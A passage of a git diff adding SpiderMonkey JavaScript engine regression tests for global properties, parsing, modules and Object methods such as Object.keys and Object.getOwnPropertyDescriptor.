+ assertEq(window.foo, true, "getter");
+ }
+})();
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/misc/global-numeric-properties.js b/js/src/tests/non262/misc/global-numeric-properties.js
new file mode 100644
index 0000000000..352c0d3b75
--- /dev/null
+++ b/js/src/tests/non262/misc/global-numeric-properties.js
@@ -0,0 +1,59 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 537863;
+var summary =
+ 'undefined, Infinity, and NaN global properties should not be writable';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var desc, old, error;
+var global = this;
+
+var names = ["NaN", "Infinity", "undefined"];
+
+for (var i = 0; i < names.length; i++)
+{
+ var name = names[i];
+ desc = Object.getOwnPropertyDescriptor(global, name);
+ assertEq(desc !== undefined, true, name + " should be present");
+ assertEq(desc.enumerable, false, name + " should not be enumerable");
+ assertEq(desc.configurable, false, name + " should not be configurable");
+ assertEq(desc.writable, false, name + " should not be writable");
+
+ old = global[name];
+ global[name] = 17;
+ assertEq(global[name], old, name + " changed on setting?");
+
+ error = "before";
+ try
+ {
+ throw new TypeError("SpiderMonkey doesn't currently implement " +
+ "strict-mode throwing when setting a readonly " +
+ "property, not running this bit of test for now; " +
+ "see bug 537873");
+
+ (function() { "use strict"; global[name] = 42; error = "didn't throw"; })();
+ }
+ catch (e)
+ {
+ if (e instanceof TypeError)
+ error = "typeerror";
+ else
+ error = "bad exception: " + e;
+ }
+ assertEq(error, "typeerror", "wrong strict mode error setting " + name);
+}
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/misc/line-paragraph-separator-parse-as-lineterminator.js b/js/src/tests/non262/misc/line-paragraph-separator-parse-as-lineterminator.js
new file mode 100644
index 0000000000..8eef6d6581
--- /dev/null
+++ b/js/src/tests/non262/misc/line-paragraph-separator-parse-as-lineterminator.js
@@ -0,0 +1,51 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 663331;
+var summary =
+ "U+2028 LINE SEPARATOR and U+2029 PARAGRAPH SEPARATOR must match the " +
+ "LineTerminator production when parsing code";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var hidden = 17;
+var assigned;
+
+assigned = 42;
+assertEq(eval('"use strict"; var hidden\u2028assigned = 5; typeof hidden'),
+ "undefined");
+assertEq(assigned, 5);
+
+assigned = 42;
+function t1()
+{
+ assertEq(eval('var hidden\u2028assigned = 5; typeof hidden'), "undefined");
+ assertEq(assigned, 5);
+}
+t1();
+
+assigned = 42;
+assertEq(eval('"use strict"; var hidden\u2029assigned = 5; typeof hidden'),
+ "undefined");
+assertEq(assigned, 5);
+
+assigned = 42;
+function t2()
+{
+ assertEq(eval('var hidden\u2029assigned = 5; typeof hidden'), "undefined");
+ assertEq(assigned, 5);
+}
+t2();
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/misc/new-with-non-constructor.js b/js/src/tests/non262/misc/new-with-non-constructor.js
new file mode 100644
index 0000000000..edec0e31db
--- /dev/null
+++ b/js/src/tests/non262/misc/new-with-non-constructor.js
@@ -0,0 +1,32 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function checkConstruct(thing) {
+ try {
+ new thing();
+ assertEq(0, 1, "not reached " + thing);
+ } catch (e) {
+ assertEq(e.message.includes(" is not a constructor") ||
+ e.message === "Function.prototype.toString called on incompatible object", true);
+ }
+}
+
+var re = /aaa/
+checkConstruct(re);
+
+var boundFunctionPrototype = Function.prototype.bind();
+checkConstruct(boundFunctionPrototype);
+
+var boundBuiltin = Math.sin.bind();
+checkConstruct(boundBuiltin);
+
+var proxiedFunctionPrototype = new Proxy(Function.prototype, {});
+checkConstruct(proxiedFunctionPrototype);
+
+var proxiedBuiltin = new Proxy(parseInt, {});
+checkConstruct(proxiedBuiltin);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/misc/redeclare-var-non-writable-property.js b/js/src/tests/non262/misc/redeclare-var-non-writable-property.js
new file mode 100644
index 0000000000..f21289d853
--- /dev/null
+++ b/js/src/tests/non262/misc/redeclare-var-non-writable-property.js
@@ -0,0 +1,24 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 539488;
+var summary =
+ '|var| statements for existing, read-only/permanent properties should not ' +
+ 'be errors';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var undefined;
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/misc/regexp-functions-with-undefined.js b/js/src/tests/non262/misc/regexp-functions-with-undefined.js
new file mode 100644
index 0000000000..e55b2acd07
--- /dev/null
+++ b/js/src/tests/non262/misc/regexp-functions-with-undefined.js
@@ -0,0 +1,43 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var a = /undefined/.exec();
+assertEq(a[0], 'undefined');
+assertEq(a.length, 1);
+
+a = /undefined/.exec(undefined);
+assertEq(a[0], 'undefined');
+assertEq(a.length, 1);
+
+assertEq(/undefined/.test(), true);
+assertEq(/undefined/.test(undefined), true);
+
+assertEq(/aaaa/.exec(), null);
+assertEq(/aaaa/.exec(undefined), null);
+
+assertEq(/aaaa/.test(), false);
+assertEq(/aaaa/.test(undefined), false);
+
+
+assertEq("undefined".search(), 0);
+assertEq("undefined".search(undefined), 0);
+assertEq("aaaa".search(), 0);
+assertEq("aaaa".search(undefined), 0);
+
+a = "undefined".match();
+assertEq(a[0], "");
+assertEq(a.length, 1);
+a = "undefined".match(undefined);
+assertEq(a[0], "");
+assertEq(a.length, 1);
+a = "aaaa".match();
+assertEq(a[0], "");
+assertEq(a.length, 1);
+a = "aaaa".match(undefined);
+assertEq(a[0], "");
+assertEq(a.length, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/misc/regress-bug632003.js b/js/src/tests/non262/misc/regress-bug632003.js
new file mode 100644
index 0000000000..c299f6dc42
--- /dev/null
+++ b/js/src/tests/non262/misc/regress-bug632003.js
@@ -0,0 +1,63 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ */
+var BUGNUMBER = 632003;
+var summary = 'The var statement should add the property to the global if it exists on the prototype';
+
+// Define properties on Object.prototype with various attributes and
+// value-getter-setter combinations then check that a var statement
+// can always define a variable with the same name in the global object.
+
+if (typeof evaluate != "undefined") {
+ var global_case = def_all("global_case");
+ evaluate(global_case.source);
+ check_values(this, global_case.var_list);
+}
+
+var eval_case = def_all("eval_case");
+eval(eval_case.source);
+check_values(this, eval_case.var_list);
+
+function def_all(prefix)
+{
+ var builder, index, i, j;
+
+ builder = {source: "", var_list: []};
+ index = 0;
+ for (i = 0; i <= 1; ++i) {
+ for (j = 0; j <= 1; ++j) {
+ def({value: index});
+ def({value: index, writable: true});
+ def({get: Function("return "+index+";")});
+ def({set: function() { }});
+ def({get: Function("return "+index+";"), set: function() { }});
+ }
+ }
+ return builder;
+
+ function def(descriptor_seed)
+ {
+ var var_name = prefix + index;
+ descriptor_seed.configurable = !!i;
+ descriptor_seed.enumerable = !!j;
+ Object.defineProperty(Object.prototype, var_name, descriptor_seed);
+ var var_value = index + 0.5;
+ builder.source += "var "+var_name+" = "+var_value+";\n";
+ builder.var_list.push({name: var_name, expected_value: var_value});
+ ++index;
+ }
+}
+
+function check_values(obj, var_list)
+{
+ for (i = 0; i != var_list.length; ++i) {
+ var name = var_list[i].name;
+ assertEq(obj.hasOwnProperty(name), true);
+ assertEq(obj[name], var_list[i].expected_value);
+ }
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/misc/shell.js b/js/src/tests/non262/misc/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/misc/shell.js
diff --git a/js/src/tests/non262/misc/syntax-error-end-of-for-head-part.js b/js/src/tests/non262/misc/syntax-error-end-of-for-head-part.js
new file mode 100644
index 0000000000..f715b3e17e
--- /dev/null
+++ b/js/src/tests/non262/misc/syntax-error-end-of-for-head-part.js
@@ -0,0 +1,51 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 672854;
+var summary =
+ "Syntax errors at the end of |for| statement header parts shouldn't cause " +
+ "crashes";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function checkSyntaxError(str)
+{
+ try
+ {
+ var f = Function("for(w in\\");
+ throw new Error("didn't throw, returned " + f);
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "expected SyntaxError, got " + e);
+ }
+}
+
+checkSyntaxError("for(var w in \\");
+checkSyntaxError("for(w in \\");
+checkSyntaxError("for(var w\\");
+checkSyntaxError("for(w\\");
+checkSyntaxError("for(var w;\\");
+checkSyntaxError("for(w;\\");
+checkSyntaxError("for(var w; w >\\");
+checkSyntaxError("for(w; w >\\");
+checkSyntaxError("for(var w; w > 3;\\");
+checkSyntaxError("for(w; w > 3;\\");
+checkSyntaxError("for(var w; w > 3; 5\\");
+checkSyntaxError("for(w; w > 3; 5\\");
+checkSyntaxError("for(var w; w > 3; 5foo");
+checkSyntaxError("for(w; w > 3; 5foo");
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/misc/unicode-escaped-keyword.js b/js/src/tests/non262/misc/unicode-escaped-keyword.js
new file mode 100644
index 0000000000..e17df168c9
--- /dev/null
+++ b/js/src/tests/non262/misc/unicode-escaped-keyword.js
@@ -0,0 +1,22 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function throws(code) {
+ var type;
+ try {
+ eval(code);
+ } catch (ex) {
+ type = ex.name;
+ }
+ assertEq(type, 'SyntaxError');
+}
+
+var s = '\\u0073';
+throws('var thi' + s);
+throws('switch (' + s + 'witch) {}')
+throws('var ' + s + 'witch');
+
+if (typeof reportCompare == 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/misc/unicode-identifier-1d17.js b/js/src/tests/non262/misc/unicode-identifier-1d17.js
new file mode 100644
index 0000000000..ae763fdf27
--- /dev/null
+++ b/js/src/tests/non262/misc/unicode-identifier-1d17.js
@@ -0,0 +1,16 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var o = {}
+try {
+ eval('o.\\u1d17 = 42;');
+}
+catch (e) {
+ assertEq('should not fail', true);
+}
+assertEq(o['\u1d17'], 42);
+
+if (typeof reportCompare == 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/misc/unicode-identifier-82f1.js b/js/src/tests/non262/misc/unicode-identifier-82f1.js
new file mode 100644
index 0000000000..313832cc37
--- /dev/null
+++ b/js/src/tests/non262/misc/unicode-identifier-82f1.js
@@ -0,0 +1,16 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var o = {}
+try {
+ eval('o.\\u82f1 = 42;');
+}
+catch (e) {
+ assertEq('should not fail', true);
+}
+assertEq(o['\u82f1'], 42);
+
+if (typeof reportCompare == 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/misc/unnamed-function.js b/js/src/tests/non262/misc/unnamed-function.js
new file mode 100644
index 0000000000..3f9035a684
--- /dev/null
+++ b/js/src/tests/non262/misc/unnamed-function.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 376052;
+var summary = 'Unnamed function expressions are forbidden in statement context';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('(function () {1;})');
+ reportCompare(true, true,
+ "unnamed function expression not in statement context works");
+ }
+ catch(ex)
+ {
+ reportCompare(true, false, "threw exception: " + ex);
+ }
+
+ try
+ {
+ eval('function () {1;}');
+ reportCompare(true, false, "didn't throw an exception");
+ }
+ catch(ex)
+ {
+ reportCompare(ex instanceof SyntaxError, true,
+ "unnamed function expression not in statement context " +
+ "should have been a SyntaxError");
+ }
+}
diff --git a/js/src/tests/non262/misc/unwrapped-no-such-method.js b/js/src/tests/non262/misc/unwrapped-no-such-method.js
new file mode 100644
index 0000000000..d17406e7bb
--- /dev/null
+++ b/js/src/tests/non262/misc/unwrapped-no-such-method.js
@@ -0,0 +1,13 @@
+// Our __noSuchMethod__ handling should only be called when |this| is an object.
+
+var x = "";
+// Reached from interpreter's JSOP_CALLPROP, and js::mjit::ic::CallProp.
+try { x.i(); } catch (ex) { }
+
+// Reached from interpreter's JSOP_CALLELEM, and js::mjit::stubs::CallElem.
+try { x[x](); } catch (ex) { }
+
+// Reached from js::mjit::stubs::CallProp:
+try { true.i(); } catch(ex) { }
+
+reportCompare(true,true);
diff --git a/js/src/tests/non262/module/await-restricted-nested.js b/js/src/tests/non262/module/await-restricted-nested.js
new file mode 100644
index 0000000000..277b3a3489
--- /dev/null
+++ b/js/src/tests/non262/module/await-restricted-nested.js
@@ -0,0 +1,6 @@
+// |reftest| error:SyntaxError module
+
+// 'await' is always a keyword when parsing modules.
+function f() {
+ await;
+}
diff --git a/js/src/tests/non262/module/browser.js b/js/src/tests/non262/module/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/module/browser.js
diff --git a/js/src/tests/non262/module/bug1488117-empty.js b/js/src/tests/non262/module/bug1488117-empty.js
new file mode 100644
index 0000000000..8972f99fc7
--- /dev/null
+++ b/js/src/tests/non262/module/bug1488117-empty.js
@@ -0,0 +1,3 @@
+// |reftest| skip -- support file
+
+// Intentionally left empty.
diff --git a/js/src/tests/non262/module/bug1488117-import-namespace.js b/js/src/tests/non262/module/bug1488117-import-namespace.js
new file mode 100644
index 0000000000..bfb2c68577
--- /dev/null
+++ b/js/src/tests/non262/module/bug1488117-import-namespace.js
@@ -0,0 +1,3 @@
+// |reftest| skip -- support file
+
+import* as ns from "./bug1488117.js";
diff --git a/js/src/tests/non262/module/bug1488117.js b/js/src/tests/non262/module/bug1488117.js
new file mode 100644
index 0000000000..0ffe959545
--- /dev/null
+++ b/js/src/tests/non262/module/bug1488117.js
@@ -0,0 +1,14 @@
+// |reftest| module
+
+// Load and instantiate "bug1488117-import-namespace.js". "bug1488117-import-namespace.js"
+// contains an |import*| request for the current module, which triggers GetModuleNamespace for
+// this module. GetModuleNamespace calls GetExportedNames on the current module, which in turn
+// resolves and calls GetExportedNames on all |export*| entries.
+// And that means HostResolveImportedModule is called for "bug1488117-empty.js" before
+// InnerModuleInstantiation for "bug1488117.js" has resolved that module file.
+
+import "./bug1488117-import-namespace.js";
+export* from "./bug1488117-empty.js";
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/module/bug1689499-a.js b/js/src/tests/non262/module/bug1689499-a.js
new file mode 100644
index 0000000000..8607cf8b23
--- /dev/null
+++ b/js/src/tests/non262/module/bug1689499-a.js
@@ -0,0 +1,5 @@
+// |reftest| skip -- support file
+
+import B from "./bug1689499-b.js";
+import C from "./bug1689499-c.js";
+export default "A";
diff --git a/js/src/tests/non262/module/bug1689499-b.js b/js/src/tests/non262/module/bug1689499-b.js
new file mode 100644
index 0000000000..7374e2d4ba
--- /dev/null
+++ b/js/src/tests/non262/module/bug1689499-b.js
@@ -0,0 +1,6 @@
+// |reftest| skip -- support file
+
+import A from "./bug1689499-a.js";
+if (true) await 0;
+export default "B";
+
diff --git a/js/src/tests/non262/module/bug1689499-c.js b/js/src/tests/non262/module/bug1689499-c.js
new file mode 100644
index 0000000000..f13d0fd30f
--- /dev/null
+++ b/js/src/tests/non262/module/bug1689499-c.js
@@ -0,0 +1,8 @@
+// |reftest| skip -- support file
+
+import A from "./bug1689499-a.js";
+if (true) await 0;
+export default "C";
+throw Error("FAIL");
+
+
diff --git a/js/src/tests/non262/module/bug1689499-x.js b/js/src/tests/non262/module/bug1689499-x.js
new file mode 100644
index 0000000000..dba2f6dd1e
--- /dev/null
+++ b/js/src/tests/non262/module/bug1689499-x.js
@@ -0,0 +1,3 @@
+// |reftest| skip -- support file
+import B from "./bug1689499-b.js";
+export default "X";
diff --git a/js/src/tests/non262/module/bug1689499.js b/js/src/tests/non262/module/bug1689499.js
new file mode 100644
index 0000000000..859cd6f64f
--- /dev/null
+++ b/js/src/tests/non262/module/bug1689499.js
@@ -0,0 +1,23 @@
+// |reftest| skip-if(!xulRuntime.shell) module async -- needs drainJobQueue
+
+async function test() {
+ try {
+ await import("./bug1689499-a.js");
+ throw new Error("import should have failed");
+ } catch (exc) {
+ assertEq(exc.message, "FAIL");
+ }
+
+ try {
+ await import("./bug1689499-x.js");
+ throw new Error("import should have failed");
+ } catch (exc) {
+ assertEq(exc.message, "FAIL");
+ }
+
+ if (typeof reportCompare === "function")
+ reportCompare(0, 0);
+}
+
+test();
+drainJobQueue();
diff --git a/js/src/tests/non262/module/bug1693261-async.mjs b/js/src/tests/non262/module/bug1693261-async.mjs
new file mode 100644
index 0000000000..bc345e0b4c
--- /dev/null
+++ b/js/src/tests/non262/module/bug1693261-async.mjs
@@ -0,0 +1,7 @@
+// |reftest| skip -- support file
+if (globalThis.testArray === undefined) {
+ globalThis.testArray = [];
+}
+globalThis.testArray.push("async 1");
+await 0;
+globalThis.testArray.push("async 2");
diff --git a/js/src/tests/non262/module/bug1693261-c1.mjs b/js/src/tests/non262/module/bug1693261-c1.mjs
new file mode 100644
index 0000000000..31f42d027e
--- /dev/null
+++ b/js/src/tests/non262/module/bug1693261-c1.mjs
@@ -0,0 +1,6 @@
+// |reftest| skip -- support file
+import "./bug1693261-async.mjs";
+if (globalThis.testArray === undefined) {
+ globalThis.testArray = [];
+}
+globalThis.testArray.push("c1");
diff --git a/js/src/tests/non262/module/bug1693261-c2.mjs b/js/src/tests/non262/module/bug1693261-c2.mjs
new file mode 100644
index 0000000000..e5ceb3079d
--- /dev/null
+++ b/js/src/tests/non262/module/bug1693261-c2.mjs
@@ -0,0 +1,6 @@
+// |reftest| skip -- support file
+import "./bug1693261-async.mjs";
+if (globalThis.testArray === undefined) {
+ globalThis.testArray = [];
+}
+globalThis.testArray.push("c2");
diff --git a/js/src/tests/non262/module/bug1693261-x.mjs b/js/src/tests/non262/module/bug1693261-x.mjs
new file mode 100644
index 0000000000..4c73867e58
--- /dev/null
+++ b/js/src/tests/non262/module/bug1693261-x.mjs
@@ -0,0 +1,6 @@
+// |reftest| skip -- support file
+import "./bug1693261-c1.mjs";
+if (globalThis.testArray === undefined) {
+ globalThis.testArray = [];
+}
+globalThis.testArray.push("x");
diff --git a/js/src/tests/non262/module/bug1693261.js b/js/src/tests/non262/module/bug1693261.js
new file mode 100644
index 0000000000..c80a61c473
--- /dev/null
+++ b/js/src/tests/non262/module/bug1693261.js
@@ -0,0 +1,33 @@
+// |reftest| skip-if(!xulRuntime.shell) module async -- needs drainJobQueue
+
+import "./bug1693261-c1.mjs";
+import "./bug1693261-c2.mjs";
+import "./bug1693261-x.mjs";
+if (globalThis.testArray === undefined) {
+ globalThis.testArray = [];
+}
+globalThis.testArray.push("index");
+
+function assertEqArray(actual, expected) {
+ if (actual.length != expected.length) {
+ throw new Error(
+ "array lengths not equal: got " +
+ JSON.stringify(actual) + ", expected " + JSON.stringify(expected));
+ }
+
+ for (var i = 0; i < actual.length; ++i) {
+ if (actual[i] != expected[i]) {
+ throw new Error(
+ "arrays not equal at element " + i + ": got " +
+ JSON.stringify(actual) + ", expected " + JSON.stringify(expected));
+ }
+ }
+}
+
+assertEqArray(globalThis.testArray, [
+ 'async 1', 'async 2', 'c1', 'c2', 'x', 'index'
+])
+
+drainJobQueue();
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/module/module-export-name-star.js b/js/src/tests/non262/module/module-export-name-star.js
new file mode 100644
index 0000000000..6b93ba12cc
--- /dev/null
+++ b/js/src/tests/non262/module/module-export-name-star.js
@@ -0,0 +1,12 @@
+// |reftest| module
+
+var x = "ok";
+
+export {x as "*"};
+
+import {"*" as y} from "./module-export-name-star.js"
+
+assertEq(y, "ok");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/module/shell.js b/js/src/tests/non262/module/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/module/shell.js
diff --git a/js/src/tests/non262/object/15.2.3.12.js b/js/src/tests/non262/object/15.2.3.12.js
new file mode 100644
index 0000000000..00593a2409
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.12.js
@@ -0,0 +1,46 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/* Object.isFrozen */
+
+assertEq(Object.isFrozen({}), false);
+
+assertEq(Object.isFrozen(Object.preventExtensions({})), true);
+
+var o = Object.defineProperty({}, 'x', { writable:true, configurable:true });
+Object.preventExtensions(o);
+assertEq(Object.isFrozen(o), false);
+
+var o = Object.defineProperty({}, 'x', { writable:false, configurable:true });
+Object.preventExtensions(o);
+assertEq(Object.isFrozen(o), false);
+
+var o = Object.defineProperty({}, 'x', { writable:true, configurable:false });
+Object.preventExtensions(o);
+assertEq(Object.isFrozen(o), false);
+
+var o = Object.defineProperty({}, 'x', { writable:false, configurable:false });
+assertEq(Object.isFrozen(o), false);
+
+var o = Object.defineProperty({}, 'x', { writable:false, configurable:false });
+Object.preventExtensions(o);
+assertEq(Object.isFrozen(o), true);
+
+var o = Object.defineProperties({}, { x: { writable:true, configurable:true },
+ y: { writable:false, configurable:false } });
+Object.preventExtensions(o);
+assertEq(Object.isFrozen(o), false);
+
+var o = Object.defineProperties({}, { x: { writable:false, configurable:false },
+ y: { writable:true, configurable:true } });
+Object.preventExtensions(o);
+assertEq(Object.isFrozen(o), false);
+
+var o = Object.defineProperties({}, { x: { writable:true, configurable:true },
+ y: { writable:true, configurable:true } });
+Object.preventExtensions(o);
+assertEq(Object.isFrozen(o), false);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/object/15.2.3.14-01.js b/js/src/tests/non262/object/15.2.3.14-01.js
new file mode 100644
index 0000000000..6cb8965a6c
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.14-01.js
@@ -0,0 +1,92 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 307791;
+var summary = 'ES5 Object.keys(O)';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+function arraysEqual(a1, a2)
+{
+ return a1.length === a2.length &&
+ a1.every(function(v, i) { return v === a2[i]; });
+}
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(Object.keys.length, 1);
+
+var o, keys;
+
+o = { a: 3, b: 2 };
+keys = Object.keys(o);
+assertEq(arraysEqual(keys, ["a", "b"]), true,
+ "" + keys);
+
+o = { get a() { return 17; }, b: 2 };
+keys = Object.keys(o),
+assertEq(arraysEqual(keys, ["a", "b"]), true,
+ "" + keys);
+
+o = { __iterator__: function() { throw new Error("non-standard __iterator__ called?"); } };
+keys = Object.keys(o);
+assertEq(arraysEqual(keys, ["__iterator__"]), true,
+ "" + keys);
+
+o = { a: 1, b: 2 };
+delete o.a;
+o.a = 3;
+keys = Object.keys(o);
+assertEq(arraysEqual(keys, ["b", "a"]), true,
+ "" + keys);
+
+o = [0, 1, 2];
+keys = Object.keys(o);
+assertEq(arraysEqual(keys, ["0", "1", "2"]), true,
+ "" + keys);
+
+o = /./.exec("abc");
+keys = Object.keys(o);
+assertEq(arraysEqual(keys, ["0", "index", "input", "groups"]), true,
+ "" + keys);
+
+o = { a: 1, b: 2, c: 3 };
+delete o.b;
+o.b = 5;
+keys = Object.keys(o);
+assertEq(arraysEqual(keys, ["a", "c", "b"]), true,
+ "" + keys);
+
+function f() { }
+f.prototype.p = 1;
+o = new f();
+o.g = 1;
+keys = Object.keys(o);
+assertEq(arraysEqual(keys, ["g"]), true,
+ "" + keys);
+
+if (typeof Namespace !== "undefined" && typeof QName !== "undefined")
+{
+ var o2 = {};
+ var qn = new QName(new Namespace("foo"), "v");
+ o2.f = 1;
+ o2[qn] = 3;
+ o2.baz = 4;
+ var keys2 = Object.keys(o2);
+ assertEq(arraysEqual(keys2, ["f", "foo::v", "baz"]), true,
+ "" + keys2);
+}
+
+/******************************************************************************/
+
+reportCompare(expect, actual, "Object.keys");
+
+printStatus("All tests passed!");
diff --git a/js/src/tests/non262/object/15.2.3.3-01.js b/js/src/tests/non262/object/15.2.3.3-01.js
new file mode 100644
index 0000000000..ed94a14f4a
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.3-01.js
@@ -0,0 +1,285 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 505587;
+var summary = 'ES5 Object.getOwnPropertyDescriptor(O)';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function assertEq(a, e, msg)
+{
+ function SameValue(v1, v2)
+ {
+ if (v1 === 0 && v2 === 0)
+ return 1 / v1 === 1 / v2;
+ if (v1 !== v1 && v2 !== v2)
+ return true;
+ return v1 === v2;
+ }
+
+ if (!SameValue(a, e))
+ {
+ var stack = new Error().stack || "";
+ throw "Assertion failed: got " + a + ", expected " + e +
+ (msg ? ": " + msg : "") +
+ (stack ? "\nStack:\n" + stack : "");
+ }
+}
+
+function expectDescriptor(actual, expected)
+{
+ if (actual === undefined && expected === undefined)
+ return;
+
+ assertEq(typeof actual, "object");
+ assertEq(typeof expected, "object");
+
+ var fields =
+ {
+ value: true,
+ get: true,
+ set: true,
+ enumerable: true,
+ writable: true,
+ configurable: true
+ };
+ for (var p in fields)
+ assertEq(actual.hasOwnProperty(p), expected.hasOwnProperty(p), p);
+ for (var p in actual)
+ assertEq(p in fields, true, p);
+ for (var p in expected)
+ assertEq(p in fields, true, p);
+
+ assertEq(actual.hasOwnProperty("value"), actual.hasOwnProperty("writable"));
+ assertEq(actual.hasOwnProperty("get"), actual.hasOwnProperty("set"));
+ if (actual.hasOwnProperty("value"))
+ {
+ assertEq(actual.value, expected.value);
+ assertEq(actual.writable, expected.writable);
+ }
+ else
+ {
+ assertEq(actual.get, expected.get);
+ assertEq(actual.set, expected.set);
+ }
+
+ assertEq(actual.hasOwnProperty("enumerable"), true);
+ assertEq(actual.hasOwnProperty("configurable"), true);
+ assertEq(actual.enumerable, expected.enumerable);
+ assertEq(actual.configurable, expected.configurable);
+}
+
+function adjustDescriptorField(o, actual, expect, field)
+{
+ assertEq(field === "get" || field === "set", true);
+ var lookup = "__lookup" + (field === "get" ? "G" : "S") + "etter";
+ if (typeof o[lookup] === "function")
+ expect[field] = o[lookup](field);
+ else
+ actual[field] = expect[field] = undefined; /* censor if we can't lookup */
+}
+
+/******************************************************************************/
+
+var o, pd, expected;
+
+o = { get x() { return 12; } };
+
+pd = Object.getOwnPropertyDescriptor(o, "x");
+expected =
+ {
+ set: undefined,
+ enumerable: true,
+ configurable: true
+ };
+adjustDescriptorField(o, pd, expected, "get");
+
+expectDescriptor(pd, expected);
+
+/******************************************************************************/
+
+var o2;
+
+o = Object.create(Object.prototype, { x: {get: function () { return 12; } } });
+
+pd = Object.getOwnPropertyDescriptor(o, "x");
+expected =
+ {
+ set: undefined,
+ enumerable: false,
+ configurable: false
+ };
+adjustDescriptorField(o, pd, expected, "get");
+
+expectDescriptor(pd, expected);
+
+o2 = Object.create(o);
+assertEq(Object.getOwnPropertyDescriptor(o2, "x"), undefined);
+
+/******************************************************************************/
+
+o = {};
+o.b = 12;
+
+pd = Object.getOwnPropertyDescriptor(o, "b");
+expected =
+ {
+ value: 12,
+ writable: true,
+ enumerable: true,
+ configurable: true
+ };
+expectDescriptor(pd, expected);
+
+/******************************************************************************/
+
+o = { get y() { return 17; }, set y(z) { } };
+
+pd = Object.getOwnPropertyDescriptor(o, "y");
+expected =
+ {
+ enumerable: true,
+ configurable: true
+ };
+adjustDescriptorField(o, pd, expected, "get");
+adjustDescriptorField(o, pd, expected, "set");
+
+expectDescriptor(pd, expected);
+
+/******************************************************************************/
+
+o = {};
+
+pd = Object.getOwnPropertyDescriptor(o, "absent");
+
